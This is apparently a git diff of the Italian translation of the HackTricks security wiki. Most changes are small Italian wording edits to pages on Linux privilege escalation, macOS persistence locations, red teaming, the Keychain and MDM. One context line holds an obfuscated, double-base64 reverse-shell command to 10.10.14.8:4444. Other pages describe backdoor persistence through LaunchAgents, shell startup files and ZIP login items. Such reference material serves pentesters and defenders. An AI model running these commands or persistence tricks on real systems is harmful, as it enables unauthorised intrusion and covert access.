- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 3cf2b47ab..4afd74cd5 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -10,7 +10,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` -### Shell Rev corta +### Shell Rev breve ```bash #Trick from Dikline #Get a rev shell with diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md index 609e57221..9100a3662 100644 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ b/src/linux-unix/privilege-escalation/exploiting-yum.md @@ -6,7 +6,7 @@ Ulteriori esempi su yum possono essere trovati su [gtfobins](https://gtfobins.gi ## Controllo dell'ambiente -Per sfruttare questo vettore, l'utente deve essere in grado di eseguire comandi yum come un utente con privilegi superiori, cioè root. +Per sfruttare questo vettore, l'utente deve essere in grado di eseguire comandi yum come un utente con privilegi più elevati, cioè root. ### Un esempio funzionante di questo vettore diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index a6900441a..650b7335f 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -66,7 +66,7 @@ sudo su ``` # Gruppo Shadow -Gli utenti del **gruppo shadow** possono **leggere** il file **/etc/shadow**: +Gli utenti del **gruppo shadow** possono **leggere** il **/etc/shadow** file: ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` @@ -101,7 +101,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` Il **tty1** significa che l'utente **yossi è connesso fisicamente** a un terminale sulla macchina. -Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi **catturare l'immagine corrente sullo schermo** in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in `/dev/fb0` e puoi trovare la risoluzione di questo schermo in `/sys/class/graphics/fb0/virtual_size` +Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi **catturare l'immagine attuale sullo schermo** in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in `/dev/fb0` e puoi trovare la risoluzione di questo schermo in `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index e7844cf0b..a24e000db 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -7,7 +7,7 @@ Questa sezione si basa pesantemente sulla serie di blog [**Oltre i buoni vecchi ## Bypass del Sandbox > [!TIP] -> Qui puoi trovare località di avvio utili per il **bypass del sandbox** che ti consente di eseguire semplicemente qualcosa **scrivendolo in un file** e **aspettando** un'azione **comune**, un **determinato intervallo di tempo** o un'**azione che di solito puoi eseguire** dall'interno di un sandbox senza necessitare di permessi di root. +> Qui puoi trovare località di avvio utili per il **bypass del sandbox** che ti consente di eseguire semplicemente qualcosa **scrivendolo in un file** e **aspettando** un'azione **molto comune**, un **determinato intervallo di tempo** o un'**azione che di solito puoi eseguire** dall'interno di un sandbox senza necessitare di permessi di root. ### Launchd @@ -75,7 +75,7 @@ La **principale differenza tra agenti e demoni è che gli agenti vengono caricat Ci sono casi in cui un **agente deve essere eseguito prima che l'utente acceda**, questi sono chiamati **PreLoginAgents**. Ad esempio, questo è utile per fornire tecnologia assistiva al login. Possono essere trovati anche in `/Library/LaunchAgents` (vedi [**qui**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un esempio). > [!NOTE] -> Nuovi file di configurazione Daemons o Agents saranno **caricati dopo il prossimo riavvio o usando** `launchctl load ` È **anche possibile caricare file .plist senza quell'estensione** con `launchctl -F ` (tuttavia quei file plist non verranno caricati automaticamente dopo il riavvio).\ +> Nuovi file di configurazione Daemons o Agents saranno **caricati dopo il prossimo riavvio o utilizzando** `launchctl load ` È **anche possibile caricare file .plist senza quell'estensione** con `launchctl -F ` (tuttavia quei file plist non verranno caricati automaticamente dopo il riavvio).\ > È anche possibile **scaricare** con `launchctl unload ` (il processo indicato da esso sarà terminato), > > Per **assicurarti** che non ci sia **niente** (come un override) **che impedisca** a un **Agente** o **Daemon** **di** **funzionare**, esegui: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` @@ -124,18 +124,25 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://thee - **Attivatore**: Apri un terminale con zsh - **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** - **Attivatore**: Apri un terminale con zsh -- Richiesta di root +- Richiesta root - **`~/.zlogout`** - **Attivatore**: Esci da un terminale con zsh - **`/etc/zlogout`** - **Attivatore**: Esci da un terminale con zsh -- Richiesta di root +- Richiesta root - Potenzialmente di più in: **`man zsh`** - **`~/.bashrc`** - **Attivatore**: Apri un terminale con bash - `/etc/profile` (non ha funzionato) - `~/.profile` (non ha funzionato) -- +- `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` +- **Attivatore**: Ci si aspetta che si attivi con xterm, ma **non è installato** e anche dopo l'installazione viene generato questo errore: xterm: `DISPLAY is not set` + +#### Descrizione & Sfruttamento + +Quando si avvia un ambiente shell come `zsh` o `bash`, **alcuni file di avvio vengono eseguiti**. macOS attualmente utilizza `/bin/zsh` come shell predefinita. Questa shell viene automaticamente accessibile quando viene avviata l'applicazione Terminal o quando un dispositivo viene accesso tramite SSH. Sebbene `bash` e `sh` siano presenti anche in macOS, devono essere invocati esplicitamente per essere utilizzati. + +La pagina man di zsh, che possiamo leggere con **`man zsh`**, ha una lunga descrizione dei file di avvio. ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc @@ -153,7 +160,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc #### Posizione - **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** -- **Attivazione**: Riavviare le applicazioni riaperte +- **Attivatore**: Riavviare le applicazioni riaperte #### Descrizione & Sfruttamento @@ -271,9 +278,9 @@ open /tmp/test.terminal Potresti anche usare le estensioni **`.command`**, **`.tool`**, con contenuti di script shell regolari e verranno aperti anche da Terminal. > [!CAUTION] -> Se il terminale ha **Accesso Completo al Disco**, sarà in grado di completare quell'azione (nota che il comando eseguito sarà visibile in una finestra del terminale). +> Se il terminale ha **Full Disk Access**, sarà in grado di completare quell'azione (nota che il comando eseguito sarà visibile in una finestra del terminale). -### Plugin Audio +### Audio Plugins Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) @@ -282,25 +289,25 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https:// - Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle) - Potresti ottenere un accesso TCC extra -#### Posizione +#### Location - **`/Library/Audio/Plug-Ins/HAL`** - Richiesta di root -- **Attivazione**: Riavvia coreaudiod o il computer +- **Trigger**: Riavvia coreaudiod o il computer - **`/Library/Audio/Plug-ins/Components`** - Richiesta di root -- **Attivazione**: Riavvia coreaudiod o il computer +- **Trigger**: Riavvia coreaudiod o il computer - **`~/Library/Audio/Plug-ins/Components`** -- **Attivazione**: Riavvia coreaudiod o il computer +- **Trigger**: Riavvia coreaudiod o il computer - **`/System/Library/Components`** - Richiesta di root -- **Attivazione**: Riavvia coreaudiod o il computer +- **Trigger**: Riavvia coreaudiod o il computer -#### Descrizione +#### Description -Secondo i writeup precedenti è possibile **compilare alcuni plugin audio** e farli caricare. +Secondo i precedenti writeup, è possibile **compilare alcuni audio plugins** e farli caricare. -### Plugin QuickLook +### QuickLook Plugins Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/) @@ -308,7 +315,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g - Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle) - Potresti ottenere un accesso TCC extra -#### Posizione +#### Location - `/System/Library/QuickLook` - `/Library/QuickLook` @@ -316,7 +323,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g - `/Applications/AppNameHere/Contents/Library/QuickLook/` - `~/Applications/AppNameHere/Contents/Library/QuickLook/` -#### Descrizione & Sfruttamento +#### Description & Exploitation I plugin QuickLook possono essere eseguiti quando **attivi l'anteprima di un file** (premi la barra spaziatrice con il file selezionato in Finder) e un **plugin che supporta quel tipo di file** è installato. @@ -332,7 +339,7 @@ I plugin QuickLook possono essere eseguiti quando **attivi l'anteprima di un fil - Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) - Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Posizione +#### Location - Devi essere in grado di eseguire qualcosa come `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` - `Lo`cato in `~/Library/Preferences/com.apple.loginwindow.plist` @@ -383,8 +390,8 @@ L'utente root è memorizzato in **`/private/var/root/Library/Preferences/com.app #### Posizione - **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** -- Richiesta root per accesso diretto in scrittura. Non è richiesta root se puoi eseguire `crontab ` -- **Attivazione**: Dipende dal lavoro cron +- Richiesta root per accesso diretto in scrittura. Nessuna root richiesta se puoi eseguire `crontab ` +- **Trigger**: Dipende dal lavoro cron #### Descrizione & Sfruttamento @@ -451,7 +458,7 @@ await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` -Lo script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** verrà eseguito: +Lo script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** verrà eseguito anche: ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` @@ -539,13 +546,13 @@ EOF - Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) - Ma BetterTouchTool deve essere installato - Bypass TCC: [✅](https://emojipedia.org/check-mark-button) -- Richiede permessi di Automazione-Shortcuts e Accessibilità +- Richiede permessi di Automazione-Scorciatoie e Accessibilità #### Location - `~/Library/Application Support/BetterTouchTool/*` -Questo strumento consente di indicare applicazioni o script da eseguire quando vengono premuti alcuni shortcut. Un attaccante potrebbe essere in grado di configurare il proprio **shortcut e azione da eseguire nel database** per far eseguire codice arbitrario (uno shortcut potrebbe essere semplicemente premere un tasto). +Questo strumento consente di indicare applicazioni o script da eseguire quando vengono premuti alcuni scorciatoie. Un attaccante potrebbe essere in grado di configurare il proprio **scorciatoia e azione da eseguire nel database** per far eseguire codice arbitrario (uno scorciatoia potrebbe essere semplicemente premere un tasto). ### Alfred @@ -572,10 +579,10 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g #### Location - **`~/.ssh/rc`** -- **Trigger**: Accesso via ssh +- **Trigger**: Accesso tramite ssh - **`/etc/ssh/sshrc`** - Richiesta di root -- **Trigger**: Accesso via ssh +- **Trigger**: Accesso tramite ssh > [!CAUTION] > Per attivare ssh è necessario l'accesso a Disco Completo: @@ -586,7 +593,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g #### Description & Exploitation -Per impostazione predefinita, a meno che `PermitUserRC no` in `/etc/ssh/sshd_config`, quando un utente **accede via SSH** gli script **`/etc/ssh/sshrc`** e **`~/.ssh/rc`** verranno eseguiti. +Per impostazione predefinita, a meno che `PermitUserRC no` in `/etc/ssh/sshd_config`, quando un utente **accede tramite SSH** gli script **`/etc/ssh/sshrc`** e **`~/.ssh/rc`** verranno eseguiti. ### **Login Items** @@ -623,11 +630,11 @@ Questi elementi sono memorizzati nel file **`~/Library/Application Support/com.a Gli **elementi di accesso** possono **anche** essere indicati utilizzando l'API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) che memorizzerà la configurazione in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** -### ZIP come elemento di accesso +### ZIP come Elemento di Accesso -(Controlla la sezione precedente sugli elementi di accesso, questa è un'estensione) +(Controlla la sezione precedente sugli Elementi di Accesso, questa è un'estensione) -Se memorizzi un file **ZIP** come un **elemento di accesso**, l'**`Utility di archiviazione`** lo aprirà e se lo zip era, ad esempio, memorizzato in **`~/Library`** e conteneva la cartella **`LaunchAgents/file.plist`** con una backdoor, quella cartella verrà creata (non lo è per impostazione predefinita) e il plist verrà aggiunto in modo che la prossima volta che l'utente accede di nuovo, la **backdoor indicata nel plist verrà eseguita**. +Se memorizzi un file **ZIP** come un **Elemento di Accesso**, l'**`Utility di Archiviazione`** lo aprirà e se lo zip era ad esempio memorizzato in **`~/Library`** e conteneva la cartella **`LaunchAgents/file.plist`** con una backdoor, quella cartella verrà creata (non lo è di default) e il plist verrà aggiunto in modo che la prossima volta che l'utente accede di nuovo, la **backdoor indicata nel plist verrà eseguita**. Un'altra opzione sarebbe creare i file **`.bash_profile`** e **`.zshenv`** all'interno della HOME dell'utente, quindi se la cartella LaunchAgents esiste già, questa tecnica funzionerebbe comunque. @@ -647,7 +654,7 @@ Scrittura: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit I compiti `at` sono progettati per **programmare compiti una tantum** da eseguire in determinati momenti. A differenza dei cron job, i compiti `at` vengono automaticamente rimossi dopo l'esecuzione. È fondamentale notare che questi compiti sono persistenti attraverso i riavvii del sistema, contrassegnandoli come potenziali preoccupazioni di sicurezza in determinate condizioni. -Per **impostazione predefinita** sono **disabilitati** ma l'utente **root** può **abilitarli** con: +Per **default** sono **disabilitati** ma l'utente **root** può **abilitarli** con: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` @@ -730,18 +737,18 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89 - **`~/Library/Scripts/Folder Action Scripts`** - **Attivazione**: Accesso alla cartella specificata -#### Descrizione & Sfruttamento +#### Descrizione e sfruttamento -Le Azioni della cartella sono script attivati automaticamente da modifiche in una cartella, come l'aggiunta, la rimozione di elementi o altre azioni come l'apertura o il ridimensionamento della finestra della cartella. Queste azioni possono essere utilizzate per vari compiti e possono essere attivate in modi diversi, come usando l'interfaccia Finder o comandi del terminale. +Le Azioni della cartella sono script attivati automaticamente da modifiche in una cartella, come l'aggiunta o la rimozione di elementi, o altre azioni come l'apertura o il ridimensionamento della finestra della cartella. Queste azioni possono essere utilizzate per vari compiti e possono essere attivate in modi diversi, come usando l'interfaccia Finder o comandi del terminale. Per impostare le Azioni della cartella, hai opzioni come: 1. Creare un flusso di lavoro per le Azioni della cartella con [Automator](https://support.apple.com/guide/automator/welcome/mac) e installarlo come servizio. 2. Allegare uno script manualmente tramite la Configurazione delle Azioni della cartella nel menu contestuale di una cartella. -3. Utilizzare OSAScript per inviare messaggi Apple Event a `System Events.app` per impostare programmaticamente un'Azioni della cartella. +3. Utilizzare OSAScript per inviare messaggi Apple Event a `System Events.app` per impostare programmaticamente un'Azione della cartella. - Questo metodo è particolarmente utile per incorporare l'azione nel sistema, offrendo un livello di persistenza. -Il seguente script è un esempio di ciò che può essere eseguito da un'Azioni della cartella: +Il seguente script è un esempio di ciò che può essere eseguito da un'Azione della cartella: ```applescript // source.js var app = Application.currentApplication(); @@ -937,7 +944,7 @@ Nota che il binario che carica la tua libreria ha un **sandbox molto restrittivo Un esempio di applicazione con un'estensione Finder Sync [**può essere trovato qui**](https://github.com/D00MFist/InSync). -Le applicazioni possono avere `Finder Sync Extensions`. Questa estensione andrà all'interno di un'applicazione che verrà eseguita. Inoltre, affinché l'estensione possa eseguire il proprio codice, **deve essere firmata** con un valido certificato di sviluppatore Apple, deve essere **sandboxed** (anche se potrebbero essere aggiunte eccezioni rilassate) e deve essere registrata con qualcosa come: +Le applicazioni possono avere `Finder Sync Extensions`. Questa estensione andrà all'interno di un'applicazione che verrà eseguita. Inoltre, affinché l'estensione possa eseguire il proprio codice, **deve essere firmata** con un certificato di sviluppatore Apple valido, deve essere **sandboxed** (anche se potrebbero essere aggiunte eccezioni rilassate) e deve essere registrata con qualcosa come: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync @@ -966,9 +973,9 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p #### Descrizione & Sfruttamento -Crea un nuovo progetto in Xcode e seleziona il modello per generare un nuovo **Screen Saver**. Poi, aggiungi il tuo codice, ad esempio il seguente codice per generare log. +Crea un nuovo progetto in Xcode e seleziona il modello per generare un nuovo **Salvaschermo**. Poi, aggiungi il tuo codice, ad esempio il seguente codice per generare log. -**Compilalo**, e copia il pacchetto `.saver` in **`~/Library/Screen Savers`**. Poi, apri l'interfaccia grafica del salvaschermo e se ci clicchi sopra, dovrebbe generare molti log: +**Compilalo**, e copia il pacchetto `.saver` in **`~/Library/Screen Savers`**. Poi, apri l'interfaccia grafica del Salvaschermo e se ci clicchi sopra, dovrebbe generare molti log: ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -978,7 +985,7 @@ Timestamp (process)[PID] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` > [!CAUTION] -> Nota che, poiché all'interno dei diritti del binario che carica questo codice (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) puoi trovare **`com.apple.security.app-sandbox`**, sarai **all'interno del comune sandbox delle applicazioni**. +> Nota che all'interno dei diritti del binario che carica questo codice (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) puoi trovare **`com.apple.security.app-sandbox`** quindi sarai **all'interno del comune sandbox delle applicazioni**. Saver code: ```objectivec @@ -1072,7 +1079,7 @@ writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.g #### Description & Exploitation Spotlight è la funzione di ricerca integrata di macOS, progettata per fornire agli utenti **accesso rapido e completo ai dati sui loro computer**.\ -Per facilitare questa capacità di ricerca rapida, Spotlight mantiene un **database proprietario** e crea un indice **analizzando la maggior parte dei file**, consentendo ricerche veloci sia attraverso i nomi dei file che il loro contenuto. +Per facilitare questa capacità di ricerca rapida, Spotlight mantiene un **database proprietario** e crea un indice **analizzando la maggior parte dei file**, consentendo ricerche rapide sia attraverso i nomi dei file che il loro contenuto. Il meccanismo sottostante di Spotlight coinvolge un processo centrale chiamato 'mds', che sta per **'metadata server'.** Questo processo orchestra l'intero servizio Spotlight. A complemento di questo, ci sono più demoni 'mdworker' che eseguono una varietà di compiti di manutenzione, come indicizzare diversi tipi di file (`ps -ef | grep mdworker`). Questi compiti sono resi possibili attraverso i plugin importatori di Spotlight, o **".mdimporter bundles**", che consentono a Spotlight di comprendere e indicizzare contenuti attraverso una vasta gamma di formati di file. @@ -1387,7 +1394,7 @@ Puoi indicare in `/etc/apache2/httpd.conf` di caricare un modulo aggiungendo una ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` -In questo modo, i tuoi moduli compilati verranno caricati da Apache. L'unica cosa è che devi **firmarlo con un certificato Apple valido**, oppure devi **aggiungere un nuovo certificato di fiducia** nel sistema e **firmarlo** con esso. +In questo modo, il tuo modulo compilato verrà caricato da Apache. L'unica cosa è che devi **firmarlo con un certificato Apple valido**, oppure devi **aggiungere un nuovo certificato di fiducia** nel sistema e **firmarlo** con esso. Poi, se necessario, per assicurarti che il server venga avviato, potresti eseguire: ```bash @@ -1434,7 +1441,7 @@ Potresti forzare un avviso con `sudo audit -n`. L'**StartupItem** è una directory che dovrebbe essere posizionata all'interno di `/Library/StartupItems/` o `/System/Library/StartupItems/`. Una volta che questa directory è stabilita, deve contenere due file specifici: 1. Uno **script rc**: Uno script shell eseguito all'avvio. -2. Un **file plist**, specificamente chiamato `StartupParameters.plist`, che contiene varie impostazioni di configurazione. +2. Un **file plist**, specificamente denominato `StartupParameters.plist`, che contiene varie impostazioni di configurazione. Assicurati che sia lo script rc che il file `StartupParameters.plist` siano correttamente posizionati all'interno della directory **StartupItem** affinché il processo di avvio possa riconoscerli e utilizzarli. @@ -1487,7 +1494,7 @@ RunService "$1" Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -Introdotto da Apple, **emond** è un meccanismo di registrazione che sembra essere poco sviluppato o possibilmente abbandonato, eppure rimane accessibile. Sebbene non sia particolarmente utile per un amministratore Mac, questo servizio oscuro potrebbe servire come un metodo di persistenza sottile per gli attori delle minacce, probabilmente inosservato dalla maggior parte degli amministratori macOS. +Introdotto da Apple, **emond** è un meccanismo di registrazione che sembra essere poco sviluppato o possibilmente abbandonato, eppure rimane accessibile. Sebbene non sia particolarmente utile per un amministratore Mac, questo servizio oscuro potrebbe fungere da metodo di persistenza sottile per gli attori delle minacce, probabilmente inosservato dalla maggior parte degli amministratori macOS. Per coloro che sono a conoscenza della sua esistenza, identificare qualsiasi uso malevolo di **emond** è semplice. Il LaunchDaemon del sistema per questo servizio cerca script da eseguire in una singola directory. Per ispezionare questo, si può utilizzare il seguente comando: ```bash @@ -1529,7 +1536,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` -Per ulteriori informazioni su [**le estensioni del kernel controlla questa sezione**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +Per ulteriori informazioni su [**estensioni del kernel controlla questa sezione**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). ### ~~amstoold~~ diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index a6a4181a0..eedf3fafd 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -199,19 +199,19 @@ Con i ticket di servizio ottenuti è possibile provare ad accedere alle condivis smbutil view //computer.fqdn mount -t smbfs //server/folder /local/mount/point ``` -## Accesso al Portachiavi +## Accessing the Keychain -Il Portachiavi contiene probabilmente informazioni sensibili che, se accessibili senza generare un prompt, potrebbero aiutare a portare avanti un esercizio di red team: +Il Keychain contiene molto probabilmente informazioni sensibili che, se accessibili senza generare un prompt, potrebbero aiutare a portare avanti un esercizio di red team: {{#ref}} macos-keychain.md {{#endref}} -## Servizi Esterni +## External Services -Il Red Teaming su MacOS è diverso dal Red Teaming su Windows regolare poiché di solito **MacOS è integrato con diverse piattaforme esterne direttamente**. Una configurazione comune di MacOS è accedere al computer utilizzando **credenziali sincronizzate di OneLogin e accedere a diversi servizi esterni** (come github, aws...) tramite OneLogin. +Il MacOS Red Teaming è diverso dal regolare Windows Red Teaming poiché di solito **MacOS è integrato con diverse piattaforme esterne direttamente**. Una configurazione comune di MacOS è accedere al computer utilizzando **credenziali sincronizzate OneLogin e accedere a diversi servizi esterni** (come github, aws...) tramite OneLogin. -## Tecniche Misc del Red Team +## Misc Red Team techniques ### Safari @@ -219,7 +219,7 @@ Quando un file viene scaricato in Safari, se è un file "sicuro", verrà **apert
-## Riferimenti +## References - [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E) - [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index 521bf832e..b66d55f13 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -89,7 +89,7 @@ Elenca e ottieni **info** su ciascun elemento del keychain utilizzando il **Secu - **`kSecMatchLimit`**: Quanti risultati restituire - **`kSecClass`**: Che tipo di elemento del keychain -Ottieni **ACL** di ciascun elemento: +Ottieni **ACLs** di ciascun elemento: - Con l'API **`SecAccessCopyACLList`** puoi ottenere l'**ACL per l'elemento del keychain**, e restituirà un elenco di ACL (come `ACLAuhtorizationExportClear` e gli altri precedentemente menzionati) dove ciascun elenco ha: - Descrizione @@ -112,7 +112,7 @@ E questi sono i **requisiti** per poter **esportare un segreto senza un prompt** - Se **tutte le applicazioni sono affidabili**: - Necessita delle appropriate **autorizzazioni** - Necessita che la firma del codice corrisponda al **PartitionID** -- Se **nessun PartitionID**, allora questo non è necessario +- Se **non c'è PartitionID**, allora questo non è necessario > [!CAUTION] > Pertanto, se c'è **1 applicazione elencata**, è necessario **iniettare codice in quell'applicazione**. diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 6977812dc..8ae076dc2 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -11,7 +11,7 @@ ### **Panoramica di MDM (Mobile Device Management)** -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) è utilizzato per supervisionare vari dispositivi finali come smartphone, laptop e tablet. In particolare per le piattaforme Apple (iOS, macOS, tvOS), coinvolge un insieme di funzionalità specializzate, API e pratiche. Il funzionamento dell'MDM si basa su un server MDM compatibile, che è disponibile commercialmente o open-source, e deve supportare il [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). I punti chiave includono: +[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) è utilizzato per supervisionare vari dispositivi finali come smartphone, laptop e tablet. In particolare per le piattaforme Apple (iOS, macOS, tvOS), coinvolge un insieme di funzionalità specializzate, API e pratiche. Il funzionamento di MDM si basa su un server MDM compatibile, che è disponibile commercialmente o open-source, e deve supportare il [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). I punti chiave includono: - Controllo centralizzato sui dispositivi. - Dipendenza da un server MDM che aderisca al protocollo MDM. @@ -49,8 +49,8 @@ Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guid ### MDM - Combinazione di APNs (**server Apple**) + API RESTful (**server fornitori MDM**) -- **Comunicazione** avviene tra un **dispositivo** e un server associato a un **prodotto di gestione dei dispositivi** -- **Comandi** inviati dall'MDM al dispositivo in **dizionari codificati plist** +- **La comunicazione** avviene tra un **dispositivo** e un server associato a un **prodotto di gestione dei dispositivi** +- **Comandi** inviati dal MDM al dispositivo in **dizionari codificati plist** - Tutto su **HTTPS**. I server MDM possono essere (e di solito sono) pinati. - Apple concede al fornitore MDM un **certificato APNs** per l'autenticazione @@ -59,7 +59,7 @@ Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guid - **3 API**: 1 per rivenditori, 1 per fornitori MDM, 1 per identità del dispositivo (non documentata): - La cosiddetta [API "cloud service" DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Questa è utilizzata dai server MDM per associare i profili DEP a dispositivi specifici. - L'[API DEP utilizzata dai Rivenditori Autorizzati Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) per registrare dispositivi, controllare lo stato di registrazione e controllare lo stato delle transazioni. -- L'API DEP privata non documentata. Questa è utilizzata dai dispositivi Apple per richiedere il proprio profilo DEP. Su macOS, il binario `cloudconfigurationd` è responsabile della comunicazione su questa API. +- L'API privata DEP non documentata. Questa è utilizzata dai dispositivi Apple per richiedere il proprio profilo DEP. Su macOS, il binario `cloudconfigurationd` è responsabile della comunicazione su questa API. - Più moderna e basata su **JSON** (rispetto a plist) - Apple concede un **token OAuth** al fornitore MDM @@ -162,7 +162,7 @@ La risposta è un dizionario JSON con alcuni dati importanti come: Tipicamente, il **profilo di attivazione** fornito da un fornitore MDM includerà i seguenti payload: -- `com.apple.mdm`: per **registrare** il dispositivo nell'MDM +- `com.apple.mdm`: per **registrare** il dispositivo in MDM - `com.apple.security.scep`: per fornire in modo sicuro un **certificato client** al dispositivo. - `com.apple.security.pem`: per **installare certificati CA fidati** nel portachiavi di sistema del dispositivo. - L'installazione del payload MDM è equivalente al **check-in MDM nella documentazione** diff --git 